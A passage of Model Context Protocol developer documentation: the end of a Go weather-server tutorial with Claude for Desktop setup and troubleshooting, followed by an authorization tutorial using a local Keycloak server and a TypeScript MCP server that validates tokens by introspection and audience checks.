context.Context, req *mcp.CallToolRequest, input ForecastInput) ( *mcp.CallToolResult, any, error, ) { // Get points data pointsURL := fmt.Sprintf("%s/points/%f,%f", NWSAPIBase, input.Latitude, input.Longitude) pointsData, err := makeNWSRequest[PointsResponse](ctx, pointsURL) if err != nil { return &mcp.CallToolResult{ Content: []mcp.Content{ &mcp.TextContent{Text: "Unable to fetch forecast data for this location."}, }, }, nil, nil } // Get forecast data forecastURL := pointsData.Properties.Forecast if forecastURL == "" { return &mcp.CallToolResult{ Content: []mcp.Content{ &mcp.TextContent{Text: "Unable to fetch forecast URL."}, }, }, nil, nil } forecastData, err := makeNWSRequest[ForecastResponse](ctx, forecastURL) if err != nil { return &mcp.CallToolResult{ Content: []mcp.Content{ &mcp.TextContent{Text: "Unable to fetch detailed forecast."}, }, }, nil, nil } // Format the periods periods := forecastData.Properties.Periods if len(periods) == 0 { return &mcp.CallToolResult{ Content: []mcp.Content{ &mcp.TextContent{Text: "No forecast periods available."}, }, }, nil, nil } // Show next 5 periods var forecasts []string for i := range min(5, len(periods)) { forecasts = append(forecasts, formatPeriod(periods[i])) } result := strings.Join(forecasts, "\n---\n") return &mcp.CallToolResult{ Content: []mcp.Content{ &mcp.TextContent{Text: result}, }, }, nil, nil } func getAlerts(ctx context.Context, req *mcp.CallToolRequest, input AlertsInput) ( *mcp.CallToolResult, any, error, ) { // Build alerts URL stateCode := strings.ToUpper(input.State) alertsURL := fmt.Sprintf("%s/alerts/active/area/%s", NWSAPIBase, stateCode) alertsData, err := makeNWSRequest[AlertsResponse](ctx, alertsURL) if err != nil { return &mcp.CallToolResult{ Content: []mcp.Content{ &mcp.TextContent{Text: "Unable to fetch alerts or no alerts found."}, }, }, nil, nil } // Check if there are any alerts if len(alertsData.Features) == 0 { return &mcp.CallToolResult{ Content: []mcp.Content{ &mcp.TextContent{Text: "No active alerts for this state."}, }, }, nil, nil } // Format alerts var alerts []string for _, feature := range alertsData.Features { alerts = append(alerts, formatAlert(feature)) } result := strings.Join(alerts, "\n---\n") return &mcp.CallToolResult{ Content: []mcp.Content{ &mcp.TextContent{Text: result}, }, }, nil, nil } ### [​](https://modelcontextprotocol.io/docs/develop/build-server#running-the-server-8) Running the server Finally, implement the main function to run the server: func main() { // Create MCP server server := mcp.NewServer(&mcp.Implementation{ Name: "weather", Version: "1.0.0", }, nil) // Add get_forecast tool mcp.AddTool(server, &mcp.Tool{ Name: "get_forecast", Description: "Get weather forecast for a location", }, getForecast) // Add get_alerts tool mcp.AddTool(server, &mcp.Tool{ Name: "get_alerts", Description: "Get weather alerts for a US state", }, getAlerts) // Run server on stdio transport if err := server.Run(context.Background(), &mcp.StdioTransport{}); err != nil { log.Fatal(err) } } Build your server with: go build -o weather . The compiled binary will be in `./weather`.Let’s now test your server from an existing MCP host, Claude for Desktop. [​](https://modelcontextprotocol.io/docs/develop/build-server#testing-your-server-with-claude-for-desktop-8) Testing your server with Claude for Desktop ----------------------------------------------------------------------------------------------------------------------------------------------------------- Claude for Desktop is not yet available on Linux. Linux users can proceed to the [Building a client](https://modelcontextprotocol.io/docs/develop/build-client) tutorial to build an MCP client that connects to the server we just built. First, make sure you have Claude for Desktop installed. [You can install the latest version here.](https://claude.ai/download) If you already have Claude for Desktop, **make sure it’s updated to the latest version.**We’ll need to configure Claude for Desktop for whichever MCP servers you want to use. To do this, open your Claude for Desktop App configuration at `~/Library/Application Support/Claude/claude_desktop_config.json` in a text editor. Make sure to create the file if it doesn’t exist.For example, if you have [VS Code](https://code.visualstudio.com/) installed: macOS/Linux Windows code ~/Library/Application\ Support/Claude/claude_desktop_config.json You’ll then add your servers in the `mcpServers` key. The MCP UI elements will only show up in Claude for Desktop if at least one server is properly configured.In this case, we’ll add our single weather server like so: macOS/Linux Windows { "mcpServers": { "weather": { "command": "/ABSOLUTE/PATH/TO/PARENT/FOLDER/weather/weather" } } } Make sure you pass in the absolute path to your compiled binary. You can get this by running `pwd` on macOS/Linux or `cd` on Windows Command Prompt from your project directory. On Windows, remember to use double backslashes (`\\`) or forward slashes (`/`) in the JSON path, and add the `.exe` extension. This tells Claude for Desktop: 1. There’s an MCP server named “weather” 2. Launch it by running the compiled binary at the specified path Save the file, and restart **Claude for Desktop**. ### [​](https://modelcontextprotocol.io/docs/develop/build-server#test-with-commands) Test with commands Let’s make sure Claude for Desktop is picking up the two tools we’ve exposed in our `weather` server. You can do this by looking for the “Add files, connectors, and more /” ![](https://mintcdn.com/mcp/zNouQwo2h8cbxlDS/images/claude-add-files-connectors-and-more.png?w=2500&fit=max&auto=format&n=zNouQwo2h8cbxlDS&q=85&s=e6e69cd36d8f221bd79d5816e5ee0aac) icon: ![](https://mintcdn.com/mcp/zNouQwo2h8cbxlDS/images/visual-indicator-mcp-tools.png?w=2500&fit=max&auto=format&n=zNouQwo2h8cbxlDS&q=85&s=f6414d3ad85dfc1e37ab2dffe278c6de) After clicking on the plus icon, hover over the “Connectors” menu. You should see the `weather` servers listed: ![](https://mintcdn.com/mcp/zNouQwo2h8cbxlDS/images/available-mcp-tools.png?w=2500&fit=max&auto=format&n=zNouQwo2h8cbxlDS&q=85&s=8298981f84cb55c6e477006cb8bf873b) If your server isn’t being picked up by Claude for Desktop, proceed to the [Troubleshooting](https://modelcontextprotocol.io/docs/develop/build-server#troubleshooting) section for debugging tips. If the server has shown up in the “Connectors” menu, you can now test your server by running the following commands in Claude for Desktop: * What’s the weather in Sacramento? * What are the active weather alerts in Texas? ![](https://mintcdn.com/mcp/4ZXF1PrDkEaJvXpn/images/current-weather.png?w=2500&fit=max&auto=format&n=4ZXF1PrDkEaJvXpn&q=85&s=3922160478785cc88d5e98d418e8f7dd) ![](https://mintcdn.com/mcp/4ZXF1PrDkEaJvXpn/images/weather-alerts.png?w=2500&fit=max&auto=format&n=4ZXF1PrDkEaJvXpn&q=85&s=12f50039e4a1c9544a22a9bdae46f719) Since this is the US National Weather service, the queries will only work for US locations. [​](https://modelcontextprotocol.io/docs/develop/build-server#what%E2%80%99s-happening-under-the-hood) What’s happening under the hood ----------------------------------------------------------------------------------------------------------------------------------------- When you ask a question: 1. The client sends your question to Claude 2. Claude analyzes the available tools and decides which one(s) to use 3. The client executes the chosen tool(s) through the MCP server 4. The results are sent back to Claude 5. Claude formulates a natural language response 6. The response is displayed to you! [​](https://modelcontextprotocol.io/docs/develop/build-server#troubleshooting) Troubleshooting ------------------------------------------------------------------------------------------------- Claude for Desktop Integration Issues **Getting logs from Claude for Desktop**Claude.app logging related to MCP is written to log files in `~/Library/Logs/Claude`: * `mcp.log` will contain general logging about MCP connections and connection failures. * Files named `mcp-server-SERVERNAME.log` will contain error (stderr) logging from the named server. You can run the following command to list recent logs and follow along with any new ones: # Check Claude's logs for errors tail -n 20 -f ~/Library/Logs/Claude/mcp*.log **Server not showing up in Claude** 1. Check your `claude_desktop_config.json` file syntax 2. Make sure the path to your project is absolute and not relative 3. Restart Claude for Desktop completely To properly restart Claude for Desktop, you must fully quit the application: * **Windows**: Right-click the Claude icon in the system tray (which may be hidden in the “hidden icons” menu) and select “Quit” or “Exit”. * **macOS**: Use Cmd+Q or select “Quit Claude” from the menu bar. Simply closing the window does not fully quit the application, and your MCP server configuration changes will not take effect. **Tool calls failing silently**If Claude attempts to use the tools but they fail: 1. Check Claude’s logs for errors 2. Verify your server builds and runs without errors 3. Try restarting Claude for Desktop **None of this is working. What do I do?**Please refer to our [debugging guide](https://modelcontextprotocol.io/docs/tools/debugging) for better debugging tools and more detailed guidance. Weather API Issues **Error: Failed to retrieve grid point data**This usually means either: 1. The coordinates are outside the US 2. The NWS API is having issues 3. You’re being rate limited Fix: * Verify you’re using US coordinates * Add a small delay between requests * Check the NWS API status page **Error: No active alerts for \[STATE\]**This isn’t an error - it just means there are no current weather alerts for that state. Try a different state or check during severe weather. For more advanced troubleshooting, check out our guide on [Debugging MCP](https://modelcontextprotocol.io/docs/tools/debugging) [​](https://modelcontextprotocol.io/docs/develop/build-server#next-steps) Next steps --------------------------------------------------------------------------------------- Building a client ----------------- Learn how to build your own MCP client that can connect to your server Example servers --------------- Check out our gallery of official MCP servers and implementations Debugging Guide --------------- Learn how to effectively debug MCP servers and integrations Build with Agent Skills ----------------------- Use agent skills to guide AI coding assistants through server design Was this page helpful? YesNo [Build with Agent Skills](https://modelcontextprotocol.io/docs/develop/build-with-agent-skills) [Build an MCP client](https://modelcontextprotocol.io/docs/develop/build-client) ⌘I --- # Understanding Authorization in MCP - Model Context Protocol [Skip to main content](https://modelcontextprotocol.io/docs/tutorials/security/authorization#content-area) [Model Context Protocol home page![light logo](https://mintcdn.com/mcp/2BMHnlNW5OqOohXZ/logo/light.svg?fit=max&auto=format&n=2BMHnlNW5OqOohXZ&q=85&s=a5ac61ce77858fb1ddaf6de761c39499)![dark logo](https://mintcdn.com/mcp/2BMHnlNW5OqOohXZ/logo/dark.svg?fit=max&auto=format&n=2BMHnlNW5OqOohXZ&q=85&s=1227cb7feb8344f9f6288c6b5b0a6d80)](https://modelcontextprotocol.io/) Search... ⌘K Search... Navigation Security Understanding Authorization in MCP [Documentation](https://modelcontextprotocol.io/docs/getting-started/intro) [Extensions](https://modelcontextprotocol.io/extensions/overview) [Specification](https://modelcontextprotocol.io/specification/2025-11-25) [Registry](https://modelcontextprotocol.io/registry/about) [SEPs](https://modelcontextprotocol.io/seps) [Community](https://modelcontextprotocol.io/community/contributing) On this page * [When Should You Use Authorization?](https://modelcontextprotocol.io/docs/tutorials/security/authorization#when-should-you-use-authorization) * [The Authorization Flow: Step by Step](https://modelcontextprotocol.io/docs/tutorials/security/authorization#the-authorization-flow-step-by-step) * [Implementation Example](https://modelcontextprotocol.io/docs/tutorials/security/authorization#implementation-example) * [Keycloak Setup](https://modelcontextprotocol.io/docs/tutorials/security/authorization#keycloak-setup) * [MCP Server Setup](https://modelcontextprotocol.io/docs/tutorials/security/authorization#mcp-server-setup) * [Testing the MCP Server](https://modelcontextprotocol.io/docs/tutorials/security/authorization#testing-the-mcp-server) * [Common Pitfalls and How to Avoid Them](https://modelcontextprotocol.io/docs/tutorials/security/authorization#common-pitfalls-and-how-to-avoid-them) * [Related Standards and Documentation](https://modelcontextprotocol.io/docs/tutorials/security/authorization#related-standards-and-documentation) Authorization in the Model Context Protocol (MCP) secures access to sensitive resources and operations exposed by MCP servers. If your MCP server handles user data or administrative actions, authorization ensures only permitted users can access its endpoints. MCP uses standardized authorization flows to build trust between MCP clients and MCP servers. Its design doesn’t focus on one specific authorization or identity system, but rather follows the conventions outlined for [OAuth 2.1](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13) . For detailed information, see the [Authorization specification](https://modelcontextprotocol.io/specification/latest/basic/authorization) . [​](https://modelcontextprotocol.io/docs/tutorials/security/authorization#when-should-you-use-authorization) When Should You Use Authorization? -------------------------------------------------------------------------------------------------------------------------------------------------- While authorization for MCP servers is **optional**, it is strongly recommended when: * Your server accesses user-specific data (emails, documents, databases) * You need to audit who performed which actions * Your server grants access to its APIs that require user consent * You’re building for enterprise environments with strict access controls * You want to implement rate limiting or usage tracking per user **Authorization for Local MCP Servers**For MCP servers using the [STDIO transport](https://modelcontextprotocol.io/specification/latest/basic/transports#stdio) , you can use environment-based credentials or credentials provided by third-party libraries embedded directly in the MCP server instead. Because a STDIO-built MCP server runs locally, it has access to a range of flexible options when it comes to acquiring user credentials that may or may not rely on in-browser authentication and authorization flows.OAuth flows, in turn, are designed for HTTP-based transports where the MCP server is remotely-hosted and the client uses OAuth to establish that a user is authorized to access said remote server. [​](https://modelcontextprotocol.io/docs/tutorials/security/authorization#the-authorization-flow-step-by-step) The Authorization Flow: Step by Step ------------------------------------------------------------------------------------------------------------------------------------------------------ Let’s walk through what happens when a client wants to connect to your protected MCP server: 1 [](https://modelcontextprotocol.io/docs/tutorials/security/authorization#) Initial Handshake When your MCP client first tries to connect, your server responds with a `401 Unauthorized` and tells the client where to find authorization information, captured in a [Protected Resource Metadata (PRM) document](https://datatracker.ietf.org/doc/html/rfc9728) . The document is hosted by the MCP server, follows a predictable path pattern, and is provided to the client in the `resource_metadata` parameter within the `WWW-Authenticate` header. HTTP/1.1 401 Unauthorized WWW-Authenticate: Bearer realm="mcp", resource_metadata="https://your-server.com/.well-known/oauth-protected-resource" This tells the client that authorization is required for the MCP server and where to get the necessary information to kickstart the authorization flow. 2 [](https://modelcontextprotocol.io/docs/tutorials/security/authorization#) Protected Resource Metadata Discovery With the URI pointer to the PRM document, the client will fetch the metadata to learn about the authorization server, supported scopes, and other resource information. The data is typically encapsulated in a JSON blob, similar to the one below. { "resource": "https://your-server.com/mcp", "authorization_servers": ["https://auth.your-server.com"], "scopes_supported": ["mcp:tools", "mcp:resources"] } You can see a more comprehensive example in [RFC 9728 Section 3.2](https://datatracker.ietf.org/doc/html/rfc9728#name-protected-resource-metadata-r) . 3 [](https://modelcontextprotocol.io/docs/tutorials/security/authorization#) Authorization Server Discovery Next, the client discovers what the authorization server can do by fetching its metadata. If the PRM document lists more than one authorization server, the client can decide which one to use.With an authorization server selected, the client will then construct a standard metadata URI and issue a request to the [OpenID Connect (OIDC) Discovery](https://openid.net/specs/openid-connect-discovery-1_0.html) or [OAuth 2.0 Auth Server Metadata](https://datatracker.ietf.org/doc/html/rfc8414) endpoints (depending on authorization server support) and retrieve another set of metadata properties that will allow it to know the endpoints it needs to complete the authorization flow. { "issuer": "https://auth.your-server.com", "authorization_endpoint": "https://auth.your-server.com/authorize", "token_endpoint": "https://auth.your-server.com/token", "registration_endpoint": "https://auth.your-server.com/register" } 4 [](https://modelcontextprotocol.io/docs/tutorials/security/authorization#) Client Registration With all the metadata out of the way, the client now needs to make sure that it’s registered with the authorization server. This can be done in two ways.First, the client can be **pre-registered** with a given authorization server, in which case it can have embedded client registration information that it uses to complete the authorization flow.Alternatively, the client can use **Dynamic Client Registration** (DCR) to dynamically register itself with the authorization server. The latter scenario requires the authorization server to support DCR. If the authorization server does support DCR, the client will send a request to the `registration_endpoint` with its information: { "client_name": "My MCP Client", "redirect_uris": ["http://localhost:3000/callback"], "grant_types": ["authorization_code", "refresh_token"], "response_types": ["code"] } If the registration succeeds, the authorization server will return a JSON blob with client registration information. **No DCR or Pre-Registration**In case an MCP client connects to an MCP server that doesn’t use an authorization server that supports DCR and the client is not pre-registered with said authorization server, it’s the responsibility of the client developer to provide an affordance for the end-user to enter client information manually. 5 [](https://modelcontextprotocol.io/docs/tutorials/security/authorization#) User Authorization The client will now need to open a browser to the `/authorize` endpoint, where the user can log in and grant the required permissions. The authorization server will then redirect back to the client with an authorization code that the client exchanges for tokens: { "access_token": "eyJhbGciOiJSUzI1NiIs...", "refresh_token": "def502...", "token_type": "Bearer", "expires_in": 3600 } The access token is what the client will use to authenticate requests to the MCP server. This step follows standard [OAuth 2.1 authorization code with PKCE](https://oauth.net/2/grant-types/authorization-code/) conventions. 6 [](https://modelcontextprotocol.io/docs/tutorials/security/authorization#) Making Authenticated Requests Finally, the client can make requests to your MCP server using the access token embedded in the `Authorization` header: GET /mcp HTTP/1.1 Host: your-server.com Authorization: Bearer eyJhbGciOiJSUzI1NiIs... The MCP server will need to validate the token and process the request if the token is valid and has the required permissions. [​](https://modelcontextprotocol.io/docs/tutorials/security/authorization#implementation-example) Implementation Example --------------------------------------------------------------------------------------------------------------------------- To get started with a practical implementation, we will use a [Keycloak](https://www.keycloak.org/) authorization server hosted in a Docker container. Keycloak is an open-source authorization server that can be easily deployed locally for testing and experimentation. Make sure that you download and install [Docker Desktop](https://www.docker.com/products/docker-desktop/) . We will need it to deploy Keycloak on our development machine. ### [​](https://modelcontextprotocol.io/docs/tutorials/security/authorization#keycloak-setup) Keycloak Setup From your terminal application, run the following command to start the Keycloak container: docker run -p 127.0.0.1:8080:8080 -e KC_BOOTSTRAP_ADMIN_USERNAME=admin -e KC_BOOTSTRAP_ADMIN_PASSWORD=admin quay.io/keycloak/keycloak start-dev This command will pull the Keycloak container image locally and bootstrap the basic configuration. It will run on port `8080` and have an `admin` user with `admin` password. **Not for Production**The configuration above may be suitable for testing and experimentation; however, you should never use it in production. Refer to the [Configuring Keycloak for production](https://www.keycloak.org/server/configuration-production) guide for additional details on how to deploy the authorization server for scenarios that require reliability, security, and high availability. You will be able to access the Keycloak authorization server from your browser at `http://localhost:8080`. ![Keycloak admin dashboard authentication dialog.](https://mintcdn.com/mcp/sAd4SGUO-cEUqgzn/images/tutorial-authorization/keycloak-browser.png?w=2500&fit=max&auto=format&n=sAd4SGUO-cEUqgzn&q=85&s=26faaf97617cb789b0492ea580245dc0) When running with the default configuration, Keycloak will already support many of the capabilities that we need for MCP servers, including Dynamic Client Registration. You can check this by looking at the OIDC configuration, available at: http://localhost:8080/realms/master/.well-known/openid-configuration We will also need to set up Keycloak to support our scopes and allow our host (local machine) to dynamically register clients, as the default policies restrict anonymous dynamic client registration. Go to **Client scopes** in the Keycloak dashboard and create a new `mcp:tools` scope. We will use this to access all of the tools on our MCP server. ![Configuring Keycloak scopes.](https://mintcdn.com/mcp/sAd4SGUO-cEUqgzn/images/tutorial-authorization/keycloak-scopes.png?w=2500&fit=max&auto=format&n=sAd4SGUO-cEUqgzn&q=85&s=ac6152d64434b7cf8a8e74a4128b0f4f) After creating the scope, make sure that you assign its type to **Default** and have flipped the **Include in token scope** switch, as this will be needed for token validation. Let’s now also set up an **audience** for our Keycloak-issued tokens. An audience is important to configure because it embeds the intended destination directly into the issued access token. This helps your MCP server to verify that the token it got was actually meant for it rather than some other API. This is key to help avoid token passthrough scenarios. To do this, open your `mcp:tools` client scope and click on **Mappers**, followed by **Configure a new mapper**. Select **Audience**. ![Configuring an audience for a token in Keycloak.](https://mintcdn.com/mcp/sAd4SGUO-cEUqgzn/images/tutorial-authorization/scope-add-audience.gif?s=6ea9cf20c397f4c79c491c2e39019272) For **Name**, use `audience-config`. Add a value for **Included Custom Audience**, set to `http://localhost:3000`. This will be the URI of our test server. **Not for Production**The audience configuration above is meant for testing. For production scenarios, additional set-up and configuration will be required to ensure that audiences are properly constrained for issued tokens. Specifically, the audience needs to be based on the resource parameter passed from the client, not a fixed value. Now, navigate to **Clients**, then **Client registration**, and then **Trusted Hosts**. Disable the **Client URIs Must Match** setting and add the hosts from which you’re testing. You can get your current host IP by running the `ifconfig` command on Linux or macOS, or `ipconfig` on Windows. You can see the IP address you need to add by looking at the keycloak logs for a line that looks like `Failed to verify remote host : 192.168.215.1`. Check that the IP address is associated with your host. This may be for a bridge network depending on your docker setup. ![Setting up client registration details in Keycloak.](https://mintcdn.com/mcp/sAd4SGUO-cEUqgzn/images/tutorial-authorization/keycloak-client.gif?s=b5d40b36a5f1ea1e818821bb8ea77f6b) **Getting the Host**If you are running Keycloak from a container, you will also be able to see the host IP from the Terminal in the container logs. Lastly, we need to register a new client that we can use with the **MCP server itself** to talk to Keycloak for things like [token introspection](https://oauth.net/2/token-introspection/) . To do that: 1. Go to **Clients**. 2. Click **Create client**. 3. Give your client a unique **Client ID** and click **Next**. 4. Enable **Client authentication** and click **Next**. 5. Click **Save**. Worth noting that token introspection is just _one of_ the available approaches to validate tokens. This can also be done with the help of standalone libraries, specific to each language and platform. When you open the client details, go to **Credentials** and take note of the **Client Secret**. ![Creating a new client in Keycloak.](https://mintcdn.com/mcp/sAd4SGUO-cEUqgzn/images/tutorial-authorization/keycloak-client-auth.gif?s=7152c41a5746994fd399024bc4659e40) **Handling Secrets**Never embed client credentials directly in your code. We recommend using environment variables or specialized solutions for secret storage. With Keycloak configured, every time the authorization flow is triggered, your MCP server will receive a token like this: eyJhbGciOiJSUzI1NiIsInR5cCIgOiAiSldUIiwia2lkIiA6ICI1TjcxMGw1WW5MWk13WGZ1VlJKWGtCS3ZZMzZzb3JnRG5scmlyZ2tlTHlzIn0.eyJleHAiOjE3NTU1NDA4MTcsImlhdCI6MTc1NTU0MDc1NywiYXV0aF90aW1lIjoxNzU1NTM4ODg4LCJqdGkiOiJvbnJ0YWM6YjM0MDgwZmYtODQwNC02ODY3LTgxYmUtMTIzMWI1MDU5M2E4IiwiaXNzIjoiaHR0cDovL2xvY2FsaG9zdDo4MDgwL3JlYWxtcy9tYXN0ZXIiLCJhdWQiOiJodHRwOi8vbG9jYWxob3N0OjMwMDAiLCJzdWIiOiIzM2VkNmM2Yi1jNmUwLTQ5MjgtYTE2MS1mMmY2OWM3YTAzYjkiLCJ0eXAiOiJCZWFyZXIiLCJhenAiOiI3OTc1YTViNi04YjU5LTRhODUtOWNiYS04ZmFlYmRhYjg5NzQiLCJzaWQiOiI4ZjdlYzI3Ni0zNThmLTRjY2MtYjMxMy1kYjA4MjkwZjM3NmYiLCJzY29wZSI6Im1jcDp0b29scyJ9.P5xCRtXORly0R0EXjyqRCUx-z3J4uAOWNAvYtLPXroykZuVCCJ-K1haiQSwbURqfsVOMbL7jiV-sD6miuPzI1tmKOkN_Yct0Vp-azvj7U5rEj7U6tvPfMkg2Uj_jrIX0KOskyU2pVvGZ-5BgqaSvwTEdsGu_V3_E0xDuSBq2uj_wmhqiyTFm5lJ1WkM3Hnxxx1_AAnTj7iOKMFZ4VCwMmk8hhSC7clnDauORc0sutxiJuYUZzxNiNPkmNeQtMCGqWdP1igcbWbrfnNXhJ6NswBOuRbh97_QraET3hl-CNmyS6C72Xc0aOwR_uJ7xVSBTD02OaQ1JA6kjCATz30kGYg Decoded, it will look like this: { "alg": "RS256", "typ": "JWT", "kid": "5N710l5YnLZMwXfuVRJXkBKvY36sorgDnlrirgkeLys" }.{ "exp": 1755540817, "iat": 1755540757, "auth_time": 1755538888, "jti": "onrtac:b34080ff-8404-6867-81be-1231b50593a8", "iss": "http://localhost:8080/realms/master", "aud": "http://localhost:3000", "sub": "33ed6c6b-c6e0-4928-a161-f2f69c7a03b9", "typ": "Bearer", "azp": "7975a5b6-8b59-4a85-9cba-8faebdab8974", "sid": "8f7ec276-358f-4ccc-b313-db08290f376f", "scope": "mcp:tools" }.[Signature] **Embedded Audience**Notice the `aud` claim embedded in the token - it’s currently set to be the URI of the test MCP server and it’s inferred from the scope that we’ve previously configured. This will be important in our implementation to validate. ### [​](https://modelcontextprotocol.io/docs/tutorials/security/authorization#mcp-server-setup) MCP Server Setup We will now set up our MCP server to use the locally-running Keycloak authorization server. Depending on your programming language preference, you can use one of the supported [MCP SDKs](https://modelcontextprotocol.io/docs/sdk) . For our testing purposes, we will create an extremely simple MCP server that exposes two tools - one for addition and another for multiplication. The server will require authorization to access these. * TypeScript * Python * C# You can see the complete TypeScript project in the [sample repository](https://github.com/localden/min-ts-mcp-auth) .Prior to running the code below, ensure that you have a `.env` file with the following content: # Server host/port HOST=localhost PORT=3000 # Auth server location AUTH_HOST=localhost AUTH_PORT=8080 AUTH_REALM=master # Keycloak OAuth client credentials OAUTH_CLIENT_ID= OAUTH_CLIENT_SECRET= `OAUTH_CLIENT_ID` and `OAUTH_CLIENT_SECRET` are associated with the MCP server client we created earlier.In addition to implementing the MCP authorization specification, the server below also does token introspection via Keycloak to make sure that the token it receives from the client is valid. It also implements basic logging to allow you to easily diagnose any issues. import "dotenv/config"; import express from "express"; import { randomUUID } from "node:crypto"; import { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js"; import { StreamableHTTPServerTransport } from "@modelcontextprotocol/sdk/server/streamableHttp.js"; import { isInitializeRequest } from "@modelcontextprotocol/sdk/types.js"; import { z } from "zod"; import cors from "cors"; import { mcpAuthMetadataRouter, getOAuthProtectedResourceMetadataUrl, } from "@modelcontextprotocol/sdk/server/auth/router.js"; import { requireBearerAuth } from "@modelcontextprotocol/sdk/server/auth/middleware/bearerAuth.js"; import { OAuthMetadata } from "@modelcontextprotocol/sdk/shared/auth.js"; import { checkResourceAllowed } from "@modelcontextprotocol/sdk/shared/auth-utils.js"; const CONFIG = { host: process.env.HOST || "localhost", port: Number(process.env.PORT) || 3000, auth: { host: process.env.AUTH_HOST || process.env.HOST || "localhost", port: Number(process.env.AUTH_PORT) || 8080, realm: process.env.AUTH_REALM || "master", clientId: process.env.OAUTH_CLIENT_ID || "mcp-server", clientSecret: process.env.OAUTH_CLIENT_SECRET || "", }, }; function createOAuthUrls() { const authBaseUrl = new URL( `http://${CONFIG.auth.host}:${CONFIG.auth.port}/realms/${CONFIG.auth.realm}/`, ); return { issuer: authBaseUrl.toString(), introspection_endpoint: new URL( "protocol/openid-connect/token/introspect", authBaseUrl, ).toString(), authorization_endpoint: new URL( "protocol/openid-connect/auth", authBaseUrl, ).toString(), token_endpoint: new URL( "protocol/openid-connect/token", authBaseUrl, ).toString(), }; } function createRequestLogger() { return (req: any, res: any, next: any) => { const start = Date.now(); res.on("finish", () => { const ms = Date.now() - start; console.log( `${req.method} ${req.originalUrl} -> ${res.statusCode} ${ms}ms`, ); }); next(); }; } const app = express(); app.use( express.json({ verify: (req: any, _res, buf) => { req.rawBody = buf?.toString() ?? ""; }, }), ); app.use( cors({ origin: "*", exposedHeaders: ["Mcp-Session-Id"], }), ); app.use(createRequestLogger()); const mcpServerUrl = new URL(`http://${CONFIG.host}:${CONFIG.port}`); const oauthUrls = createOAuthUrls(); const oauthMetadata: OAuthMetadata = { ...oauthUrls, response_types_supported: ["code"], }; const tokenVerifier = { verifyAccessToken: async (token: string) => { const endpoint = oauthMetadata.introspection_endpoint; if (!endpoint) { console.error("[auth] no introspection endpoint in metadata"); throw new Error("No token verification endpoint available in metadata"); } const params = new URLSearchParams({ token: token, client_id: CONFIG.auth.clientId, }); if (CONFIG.auth.clientSecret) { params.set("client_secret", CONFIG.auth.clientSecret); } let response: Response; try { response = await fetch(endpoint, { method: "POST", headers: { "Content-Type": "application/x-www-form-urlencoded", }, body: params.toString(), }); } catch (e) { console.error("[auth] introspection fetch threw", e); throw e; } if (!response.ok) { const txt = await response.text(); console.error("[auth] introspection non-OK", { status: response.status }); try { const obj = JSON.parse(txt); console.log(JSON.stringify(obj, null, 2)); } catch { console.error(txt); } throw new Error(`Invalid or expired token: ${txt}`); } let data: any; try { data = await response.json(); } catch (e) { const txt = await response.text(); console.error("[auth] failed to parse introspection JSON", { error: String(e), body: txt, }); throw e; } if (data.active === false) { throw new Error("Inactive token"); } if (!data.aud) { throw new Error("Resource indicator (aud) missing"); } const audiences: string[] = Array.isArray(data.aud) ? data.aud : [data.aud]; const allowed = audiences.some((a) => checkResourceAllowed({ requestedResource: a, configuredResource: mcpServerUrl, }), ); if (!allowed) { throw new Error( `None of the provided audiences are allowed. Expected ${mcpServerUrl}, got: ${audiences.join(", ")}`, ); } return { token, clientId: data.client_id, scopes: data.scope ? data.scope.split(" ") : [], expiresAt: data.exp, }; }, }; app.use( mcpAuthMetadataRouter({ oauthMetadata, resourceServerUrl: mcpServerUrl, scopesSupported: ["mcp:tools"], resourceName: "MCP Demo Server", }), ); const authMiddleware = requireBearerAuth({ verifier: tokenVerifier, requiredScopes: [], resourceMetadataUrl: getOAuthProtectedResourceMetadataUrl(mcpServerUrl), }); const transports: { [sessionId: string]: StreamableHTTPServerTransport } = {}; function createMcpServer() { const server = new McpServer({ name: "example-server", version: "1.0.0", }); server.registerTool( "add", { title: "Addition Tool", description: "Add two numbers together", inputSchema: { a: z.number().describe("First number to add"), b: z.number().describe("Second number to add"), }, }, async ({ a, b }) => ({ content: [{ type: "text", text: `${a} + ${b} = ${a + b}` }], }), ); server.registerTool( "multiply", { title: "Multiplication Tool", description: "Multiply two numbers together", inputSchema: { x: z.number().describe("First number to multiply"), y: z.number().describe("Second number to multiply"), }, }, async ({ x, y }) => ({ content: [{ type: "text", text: `${x} × ${y} = ${x * y}` }], }), ); return server; } const mcpPostHandler = async (req: express.Request, res: express.Response) => { const sessionId = req.headers["mcp-session-id"] as string | undefined; let transport: StreamableHTTPServerTransport; if (sessionId && transports[sessionId]) { transport = transports[sessionId]; } else if (!sessionId && isInitializeRequest(req.body)) { transport = new StreamableHTTPServerTransport({ sessionIdGenerator: () => randomUUID(), onsessioninitialized: (sessionId) => { transports[sessionId] = transport; }, }); transport.onclose = () => { if (transport.sessionId) { delete transports[transport.sessionId]; } }; const server = createMcpServer(); await server.connect(transport); } else { res.status(400).json({ jsonrpc: "2.0", error: { code: -32000, message: "Bad Request: No valid session ID provided", }, id: null, }); return; } await transport.handleRequest(req, res, req.body); }; const handleSessionRequest = async ( req: express.Request, res: express.Response, ) => { const sessionId = req.headers["mcp-session-id"] as string | undefined; if (!sessionId || !transports[sessionId]) { res.status(400).send("Invalid or missing session ID"); return; } const transport = transports[sessionId]; await transport.handleRequest(req, res); }; app.post("/", authMiddleware, mcpPostHandler); app.get("/", authMiddleware, handleSessionRequest); app.delete("/", authMiddleware, handleSessionRequest); app.listen(CONFIG.port, CONFIG.host, () => { console.log(`🚀 MCP Server running on ${mcpServerUrl.origin}`); console.log(`📡 MCP endpoint available at ${mcpServerUrl.origin}`); console.log( `🔐 OAuth metadata available at ${getOAuthProtectedResourceMetadataUrl(mcpServerUrl)}`, ); }); When you run the server, you can add it to your MCP client, such as Visual Studio Code, by providing the MCP server endpoint.For more details about implementing MCP servers in TypeScript, refer to the [TypeScript SDK documentation](https://github.com/modelcontextprotocol/typescript-sdk) . You can see the complete Python project in the [sample repository](https://github.com/localden/min-py-mcp-auth) .To simplify our authorization interaction, in Python scenarios we rely on [FastMCP](https://gofastmcp.com/getting-started/welcome) . Many of the conventions around authorization, like the endpoints and token validation logic, are consistent across languages, but some offer simpler ways of integrating them in production scenarios.Prior to writing the actual server, we need to set up our configuration in `config.py` - the contents are entirely based on your local server setup: """Configuration settings for the MCP auth server.""" import os from typing import Optional class Config: """Configuration class that loads from environment variables with sensible defaults.""" # Server settings HOST: str = os.getenv("HOST", "localhost") PORT: int = int(os.getenv("PORT", "3000")) # Auth server settings AUTH_HOST: str = 